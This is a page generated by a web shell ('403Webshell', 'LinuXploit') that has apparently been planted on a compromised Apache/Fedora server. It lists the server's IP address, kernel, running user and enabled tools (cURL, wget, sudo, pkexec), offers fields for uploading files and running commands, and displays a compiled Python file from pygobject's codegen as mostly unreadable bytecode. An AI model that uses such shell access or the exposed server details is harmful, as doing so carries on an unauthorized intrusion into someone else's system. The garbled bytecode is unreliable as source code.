403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/pygobject/2.0/codegen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/pygobject/2.0/codegen/h2def.pyc
Ñò
V¢ºJc
@szddkZddkZddkZddkZddkZddkZeidƒZeidƒZeidƒZ	d„Z
dd„Zd„Z
d„Zd	Zeid
ƒZgd„Zd„Zgd
„Zd„ZeideieiBƒZeidƒZeidƒZeidƒZeidƒZddd„ƒYZd„Zedjoeieei ƒƒndS(iÿÿÿÿNs([^A-Z])([A-Z])s([A-Z][A-Z])([A-Z][0-9a-z])s^([A-Z])([A-Z])cCsItid|ƒ}tid|ƒ}tid|ddƒ}ti|ƒS(sšConverts a typename to the equivalent upercase and underscores
    name.  This is used to form the type conversion macros and enum/flag
    name variabless\1_\2tcounti(t_upperstr_pat1tsubt_upperstr_pat2t_upperstr_pat3tstringtupper(tname((s)/usr/share/pygobject/2.0/codegen/h2def.pytto_upper_strRscCs[|o8titi|ƒdt|t|ƒƒdddƒStit|ƒdddƒS(s7create a typecode (eg. GTK_TYPE_WIDGET) from a typenamet_t_TYPE_i(RtreplaceRRtlen(ttypenamet	namespace((s)/usr/share/pygobject/2.0/codegen/h2def.pyttypecode[s8cCsŸg}d}x€ti|d|ƒ}|djoI|i|||!ƒti|d|ƒ}|djo|d}qŒPq|i||ƒPqti|dƒS(Nis/*s*/it(Rtfindtappendtjoin(tbuftpartstlastpostpos((s)/usr/share/pygobject/2.0/codegen/h2def.pytstrip_commentses

cCs%tidƒ}|id|ƒ}|S(Ns[A-Z]*_API R(tretcompileR(Rtpat((s)/usr/share/pygobject/2.0/codegen/h2def.pyt
strip_dll_apiwss[A-Z][a-z]*[A-Z][A-Za-z0-9]*s([A-Z]+[a-z]*)([A-Za-z0-9]+)cCs,t|ƒ}t|ƒ}g}tidtddtdtiƒ}d}xg|t|ƒjoS|i||ƒ}|pPn|i|i	dƒ|i	dƒfƒ|i
ƒ}qPWtiddtd	dtd
tiƒ}d}xg|t|ƒjoS|i||ƒ}|pPn|i|i	dƒ|i	dƒfƒ|i
ƒ}qíWtidtddtdtiƒ}d}x~|t|ƒjoj|i||ƒ}|pPn|i	dƒ|i	dƒf}||jo|i|ƒn|i
ƒ}q†Wtiddtd
dtdtiƒ}d}x~|t|ƒjoj|i||ƒ}|pPn|i	dƒ|i	dƒf}||jo|i|ƒn|i
ƒ}q:Wtidtddtiƒ}d}xŽ|t|ƒjoz|i||ƒ}|pPn|i	dƒdf}|i	dƒddf}||jo|i|ƒn|i
ƒ}qâWtidtddtiƒ}d}xŽ|t|ƒjoz|i||ƒ}|pPn|i	dƒdf}|i	dƒddf}||jo|i|ƒn|i
ƒ}qšWdS(s9
    Try to find object definitions in header files.
    sstruct\s+_(s)\s*{\s*t(s)\s+iiistypedef struct\s+[_\w]*\s*{\s*s
)\s+[^}]*}\s*s)\s*;s
)Class\s*{\s*s	)Class\s+s)Class\s+[^}]*}\s*s
)Class\s*;sGTypeInterface\s+RtClasstGTypeInterfaces
)Iface\s*{\s*tIfaceN(RRRRtobj_name_patt	MULTILINERtsearchRtgrouptend(RtobjdefstmaybeobjdefsRRtmtttt2((s)/usr/share/pygobject/2.0/codegen/h2def.pyt
find_obj_defs€s’#%'%#
'


cCs¦|iƒd}x|t|ƒjo{||\}}xdt|dt|ƒƒD]?}||d|jo$|i|d||ƒ||=PqPqPW|d}qW|S(Nii(tsortRtrangetinsert(R&Rtklasstparentti((s)/usr/share/pygobject/2.0/codegen/h2def.pyt
sort_obj_defsÞs
	cCsut|ƒ}t|ƒ}tidtiƒ}|id|ƒ}tidd|ƒ}tidƒ}tidtiƒ}d}xð|t|ƒjoÜ|i||ƒ}|pPn|idƒ}|id	ƒ}t	i
|d
ƒdj}	g}
xH|i|ƒD]7}t	i|ƒpqþn|
i
t	i|ƒdƒqþW|djo|i
||	|
fƒn|iƒ}qWdS(Ns^[#].*?$Rs
t s)enum\s*{([^}]*)}\s*([A-Z][A-Za-z]*)(\s|;)s\s*,\siiis<<t
GdkCursorType(RRRRR"RRR#R$RRtsplittstripRR%(RtenumsRtenum_pattsplitterRR(Rtvalstisflagstentriestval((s)/usr/share/pygobject/2.0/codegen/h2def.pytfind_enum_defsïs2
cCsít|ƒ}t|ƒ}tidtiƒ}|id|ƒ}tidtiƒ}|id|ƒ}tidtiƒ}|id|ƒ}tidtiƒ}|id|ƒ}tidtiƒ}|id|ƒ}tidtiƒ}|id|ƒ}tid	tiƒ}|id
|ƒ}|iƒ}tidtiƒ}|id|ƒ}tid
tiƒ}|id|ƒ}tidd|ƒ}ti	|ddƒ}ti	|ddƒ}tidtiƒ}|id|ƒ}|S(s´
    Ideally would make buf have a single prototype on each line.
    Actually just cuts out a good deal of junk, but leaves lines
    where a regex can figure prototypes out.
    s\\\nRs^[#].*?$s%^(typedef|struct|enum)(\s|.|\n)*?;\s*s!G_BEGIN_DECLS|BEGIN_LIBGTOP_DECLSs^\s*(extern)\s+\"C\"\s+{s\s+R3s;\s*s
s \s* ([*|&]+) \s* (\w+)s\1 \2s\s+ (\w+) \[ \s* \]s[] \1s\s*\*\s*G_CONST_RETURN\s*\*\s*s** sG_CONST_RETURN sconst-sconst tGSEAL(
RRRRR"RtlstriptVERBOSERR(RR((s)/usr/share/pygobject/2.0/codegen/h2def.pyt
clean_funcs8	sÐ
(?P<ret>(-|\w|\&|\*)+\s*)  # return type
\s+                   # skip whitespace
(?P<func>\w+)\s*[(]   # match the function name until the opening (
\s*(?P<args>.*?)\s*[)]     # group the function arguments
s\s*,\s*s(const-)?([A-Za-z0-9]+)\*?\s+s.*\*$s
(\w+)_new$t
DefsWritercBsneZd	d	d	ed	d„Zd„Zd	d„Zd	d„Zd„Zd„Z	d„Z
d„Zd„ZRS(
c	Cs|p
ti}n||_||_||_||_h|_h|_h|_|o¤t	i
|ƒ}|iƒx.|i|i
iƒD]}||i|i<qŠWx/|i|i|iD]}||i|i<q¼Wx%|iD]}||i|i<qàWndS(N(tsyststdouttfptprefixRtverboset_enumst_objectst
_functionst
defsparsert
DefsParsertstartParsingt	functionstmethodstvaluestc_nametobjectstboxest
interfacesR7(	tselfRFRGtnsRHt
defsfiltertfiltertfunctobj((s)/usr/share/pygobject/2.0/codegen/h2def.pyt__init__\s*
							

cCsSt|ƒiƒ}|iidtii|ƒƒ|i|ƒ|iidƒdS(Ns

;; From %s

s
(topentreadRFtwritetostpathtbasenamet_define_func(RVtdeffileR((s)/usr/share/pygobject/2.0/codegen/h2def.pyt	write_defss 
cCsf|p
|i}n|idƒtitidtidƒ}|i}x|D]
\}}}|o||joqQqn|}d}	|io |i}	|t	|iƒ}n9t
i|ƒ}
|
o"|
idƒ}	|
idƒ}n|o|id|dƒn|id|dƒ|	o|id	|	d
ƒn|id|d
ƒ|idt
||iƒd
ƒ|d
}xn|D]f}x]t	|ƒo|ddjp0|t	|ƒ |jpt	|ƒt	|ƒjo|d }q’Wq‰Wt	|ƒ}
|idƒx5|D]-}|idti||
|ƒ|fƒqW|idƒ|idƒqQWdS(Ns;; Enumerations and flags ...

R	t-iis(define-flags s
s
(define-enum s  (in-module "s")
s  (c-name "s
  (gtype-id "iiÿÿÿÿs
  (values
s    '("%s" "%s")
s  )
s)

(RFR_Rt	maketranst	uppercaset	lowercaseRItNoneRRtsplit_prefix_pattmatchR$Rt	translate(RVR7RFttransRYtcnameR;R<RtmoduleR(RGtentt
prefix_len((s)/usr/share/pygobject/2.0/codegen/h2def.pytwrite_enum_defszsT

	

	!
5
	"
c	Csw|p
|i}n|idƒ|idƒ|i}x9|D]1\}}|o||joq>qin|io |t|iƒ}|i}nEti|ƒ}|}d}|o"|idƒ}|idƒ}n|id|dƒ|o|id|dƒn|o|id	|dƒn|id
|dƒ|idt	||iƒdƒ|idƒq>WdS(
Ns;; -*- scheme -*-
s; object definitions ...
iis(define-object s
s  (in-module "s")
s  (parent "s  (c-name "s
  (gtype-id "s)

(
RFR_RJRRRkRlRjR$R(	RVR&RFRYR/R0RotcmoduleR(((s)/usr/share/pygobject/2.0/codegen/h2def.pytwrite_obj_defs§s6


	


!c
Cs}t|ƒ}ti|dƒ}|i}xO|D]G}|pq.nti|ƒ}|djo)|ioti	i
d|ƒq.q.n|idƒ}|ddjoq.n|o||joq.qÍn|idƒ}|idƒ}ti|ƒ}xet
t|ƒƒD]Q}ti||dƒ}	|	d	jo(ti||dd
|	d	ƒ||<q
q
W|i|||ƒq.WdS(Ns
sNo match:|%s|
RZiR	trettargsR3iRf(RBRR5RKt	proto_patRlRjRHRDtstderrR_R$t
arg_split_patR-RRRt_write_func(
RVRRYtpR(RZRvRwR1tspaces((s)/usr/share/pygobject/2.0/codegen/h2def.pyRcÇs6	



,cCsÈt|ƒdjo{|iddƒ}ti|dƒ}|oK|idƒ}|t|ƒ |iƒjo|i||||ƒdSqŽn|ioPt|iƒ}|| |ijo#||djo||d}qî|}n|}|ii	d|dƒ|ii	d|d	ƒt
i|ƒ}ti|ƒom|ofd}	x0|idƒidƒD]}
|	|
i
ƒ7}	qcW|	djo|ii	d
|	d	ƒqªn|i|ƒ|i|ƒdS(NiR	Riis(define-function s
s  (c-name "s")
s  (is-constructor-of "(RRtget_type_patRlR$tlowert
_write_methodRGRFR_tfunc_new_pattpointer_patR5ttitlet
_write_returnt_write_arguments(RVRRvRwtmunged_nameR(R[tltfnameRots((s)/usr/share/pygobject/2.0/codegen/h2def.pyR{ãs4

%

 
cCstitd„ti|ƒƒdƒ}ti|d|dƒ}|ioRt|iƒd}|| |ijo'||ddjo||d}q›n|ii	d|dƒ|ii	d|dƒ|ii	d	|dƒ|i
|ƒ|i|dƒdS(
NcSs|dS(s_?((tx((s)/usr/share/pygobject/2.0/codegen/h2def.pyt<lambda>	sRiR	s(define-method s
s  (of-object "s")
s  (c-name "(RRtmapRRRRGRRFR_R„R…(RVR[RRvRwtregextmnameR‡((s)/usr/share/pygobject/2.0/codegen/h2def.pyR€s'
)
cCs=|djo|iid|dƒn|iidƒdS(Ntvoids  (return-type "s")
s  (return-type "none")
(RFR_(RVRv((s)/usr/share/pygobject/2.0/codegen/h2def.pyR„s
cCsd}t|ƒdj}x<|D]4}|djo
d}q|djo
d}qqW|o†|iidƒx_|D]W}|djoDtti|ƒƒ}t|ƒdjo|iid|ƒqÌququW|iid	ƒn|o|iid
ƒn|iidƒdS(
Nis...iRsvoid s  (parameters
is    '("%s" "%s")
s  )
s  (varargs #t)
s)

(svoidsvoid (RRFR_ttupleRR5(RVRwt
is_varargsthas_argstargttupleArg((s)/usr/share/pygobject/2.0/codegen/h2def.pyR…s(



 N(
t__name__t
__module__RjtFalseR\ReRsRuRcR{R€R„R…(((s)/usr/share/pygobject/2.0/codegen/h2def.pyRC[s	- 		%	
	cCs²t}t}t}t}d}d}d}ti|ddddddddgƒ\}}xµ|D]­\}	}
|	d	jo
t}n|	d
jo
t}n|	djo
t}n|	d jo
|
}n|	d!jo
|
}n|	d"jo
|
}n|	d#jo
|
}qbqbW|dd!p
dGHdSg}g}x:|D]2}
t|
ƒiƒ}t||ƒt||ƒq>Wt|ƒ}|ožt	|ddƒ}t	|ddƒ}t
|d|d|d|d|ƒ}|i||ƒ|i||ƒd|GHx|D]}
|i
|
ƒqWd|GHnŠt
d|d|d|d|ƒ}|o|i|ƒnQ|o|i|ƒn9|i|ƒ|i|ƒx|D]}
|i
|
ƒq—WdS($Nis	vs:m:n:f:t	onlyenumstonlyobjdefssmodulename=s
namespace=s	separate=sdefsfilter=s-vs--onlyenumss
--onlyobjdefss-ss
--separates-ms--modulenames-ns--namespaces-fs--defsfilteris)Must specify at least one input file nameiÿÿÿÿs.defstws-types.defsRGRWRHRXsWrote %s-types.defss
Wrote %s.defs(s-ss
--separate(s-ms--modulename(s-ns--namespace(s-fs--defsfilter(R—RjtgetopttTrueR]R^R+R>R2tfileRCRuRsRe(RwRHR˜R™tseparatet
modulenameRRXtoptstotvR&R7tfilenameRRPttypestdw((s)/usr/share/pygobject/2.0/codegen/h2def.pytmain1sz













	


t__main__((!R›R`RRRDRLRRRRRRjRRRR!RkR+R2R>RBt
IGNORECASERARxRzR~R‚RRCR¦R•texittargv(((s)/usr/share/pygobject/2.0/codegen/h2def.pyt<module>Ds8		
		^	#	<Ö	E


Youez - 2016 - github.com/yon3zu
LinuXploit